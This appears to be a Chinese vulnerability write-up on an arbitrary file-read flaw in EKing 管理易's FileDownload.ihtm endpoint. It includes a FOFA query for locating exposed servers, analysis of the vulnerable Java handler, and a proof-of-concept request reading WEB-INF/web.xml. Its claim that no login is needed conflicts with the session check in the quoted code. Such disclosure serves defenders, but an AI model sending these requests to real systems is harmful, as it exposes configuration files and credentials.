EKing-管理易 FileDownload.ihtm 任意文件读取漏洞


漏洞简介

EKing-管理易是一款专为广告制品制作企业量身定制的管理软件产品,由广州易凯软件技术有限公司开发,管理易基于久经考验的JAVA企业版技术研发,汇聚了数百家行业用户的管理精髓,旨在帮助广告装饰、有机工艺、展览展示、有机丝印、喷绘写真等广告标识制作企业实现规范化、科学化管理,提升运营效率,降低运营成本。EKing-管理易系统 FileDownload.ihtm 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

影响版本

fofa语法

app="EKing-管理易"

漏洞分析

先看 web.xml 当中定义并配置Spring的核心Servlet——DispatcherServlet 部分

<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/applicationContext.xml,/WEB-INF/DAOs.xml,/WEB-INF/Spring-Hibernate.xml,/WEB-INF/Validators.xml,/WEB-INF/Interceptors.xml,/WEB-INF/Services.xml,/WEB-INF/Transactions.xml</param-value>
</context-param>
<servlet>
    <servlet-name>Dispatcher</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
       <param-name>contextConfigLocation</param-name>
       <param-value>/WEB-INF/Url-Mapping.xml,/WEB-INF/Controllers.xml</param-value>
    </init-param>
    <load-on-startup>2</load-on-startup>
</servlet>
<!-- lin end -->

<!-- lin start -->
<servlet-mapping>
    <servlet-name>Dispatcher</servlet-name>
    <url-pattern>*.ihtm</url-pattern>
</servlet-mapping>
  • <servlet-class>:指定Servlet的实现类为org.springframework.web.servlet.DispatcherServlet,这是Spring MVC的核心组件,负责将请求分发到相应的控制器。
  • <init-param>:为DispatcherServlet配置初始化参数。
    • contextConfigLocation:指定DispatcherServlet的配置文件路径。
    • param-value:列出了DispatcherServlet的配置文件,通常包括URL映射和控制器定义。
    • Url-Mapping.xml:定义URL与控制器方法的映射。
    • Controllers.xml:定义控制器Bean。
  • <servlet-name>:指定要映射的Servlet名称为Dispatcher。
  • <url-pattern>:定义URL匹配模式,*.ihtm表示所有以.ihtm结尾的URL请求都由DispatcherServlet处理。
    • 例如,/Main.ihtm、/TopMenu.ihtm等请求都会被DispatcherServlet处理。

再看 Controllers.xml

<bean id="commonMACtr" class="com.minierp.controller.CommonMACtr">
    <property name="methodNameResolver">
       <bean
          class="org.springframework.web.servlet.mvc.multiaction.PropertiesMethodNameResolver">
          <property name="mappings">
             <props>
                <prop key="/FileDownload.ihtm">handleFileDownload</prop>
  • <bean id="commonMACtr" class="com.minierp.controller.CommonMACtr">:定义了一个Bean,其ID为commonMACtr,类为com.minierp.controller.CommonMACtr。这个Bean是一个控制器类,用于处理HTTP请求。
  • <property name="methodNameResolver">:为commonMACtr Bean设置了一个属性methodNameResolver,该属性用于解析请求URL并映射到相应的方法。
    • <bean class="org.springframework.web.servlet.mvc.multiaction.PropertiesMethodNameResolver">:定义了一个PropertiesMethodNameResolver类型的Bean,用于根据URL路径解析方法名。
    • <property name="mappings">:设置了mappings属性,该属性包含了URL路径与方法的映射关系。
      • <props>:定义了一组属性(键值对),每个<prop>元素表示一个URL路径与方法的映射。
      • <prop key="/WW_verify_*.txt">handleWwTxtUrl</prop>:表示当请求的URL匹配/WW_verify_*.txt时,调用handleWwTxtUrl方法。
      • <prop key="/RandomImageCode.ihtm">handleRandomImageCode</prop>:表示当请求的URL匹配/RandomImageCode.ihtm时,调用handleRandomImageCode方法。
      • 其他<prop>元素类似,分别定义了不同URL路径与方法的映射关系。

当访问 FileDownload.ihtm 时,进入 handleFileDownload 处理,业务逻辑如下

public ModelAndView handleFileDownload(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String fileName = request.getParameter("file_name");
    String sourceName = request.getParameter("source_name");
    String type = request.getParameter("type");
    UserBean ub = EncCommonHelper.getCurrentUserAccount(request);
    String path = this.getServletContext().getRealPath("/");
    if (!path.endsWith(File.separator)) {
        path = path + File.separator;
    }

    if (ub != null && type != null && type.equals("PRIVATE")) {
        path = path + "priv_download" + File.separator + ub.getUser().getStafferId() + File.separator;
    }

    File file = new File(path + fileName);
    FileInputStream is = null;
    ServletOutputStream out = null;
    if (ub != null && file.exists() && file.isFile()) {
        try {
            if (sourceName == null || sourceName.equals("")) {
                sourceName = file.getName();
            }

            response.setCharacterEncoding("utf-8");
            response.setContentType("APPLICATION/OCTET-STREAM");
            String[] tmpArr = sourceName.split(" ");
            String attaName = "";

            for(int i = 0; i < tmpArr.length; ++i) {
                attaName = attaName + " " + URLEncoder.encode(tmpArr[i], "utf-8");
            }

            response.setHeader("Content-Disposition", "attachment; filename=\"" + attaName + "\"");
            is = new FileInputStream(file);
            out = response.getOutputStream();
            byte[] b = new byte[1024];

            for(int len = is.read(b); len != -1; len = is.read(b)) {
                out.write(b, 0, len);
            }

            out.flush();
        } finally {
            if (is != null) {
                is.close();
            }

            if (out != null) {
                out.close();
            }

        }
    } else {
        String errMsg = "No login or file not exist!";

        try {
            response.setCharacterEncoding("utf-8");
            response.setContentType("text/plain");
            out = response.getOutputStream();
            out.write(errMsg.getBytes());
            out.flush();
        } finally {
            if (out != null) {
                out.close();
            }

        }
    }

    return null;
} 

接收 file_name 参数的值后 直接拼接进路径后,调用 File file = new File(path + fileName); 创建文件流读取后直接写入响应body,无任何过滤或校验,造成任意文件读取漏洞。

漏洞复现

GET /FileDownload.ihtm?file_name=WEB-INF/web.xml HTTP/1.1
Host: eking.mrxn.net

成功读取到 web.xml 内容

参考


手机扫码阅读

用友U8 Cloud console.loadRes.d 任意文件读取漏洞

用友NC importTemplate XML实体注入(XXE)漏洞

评 论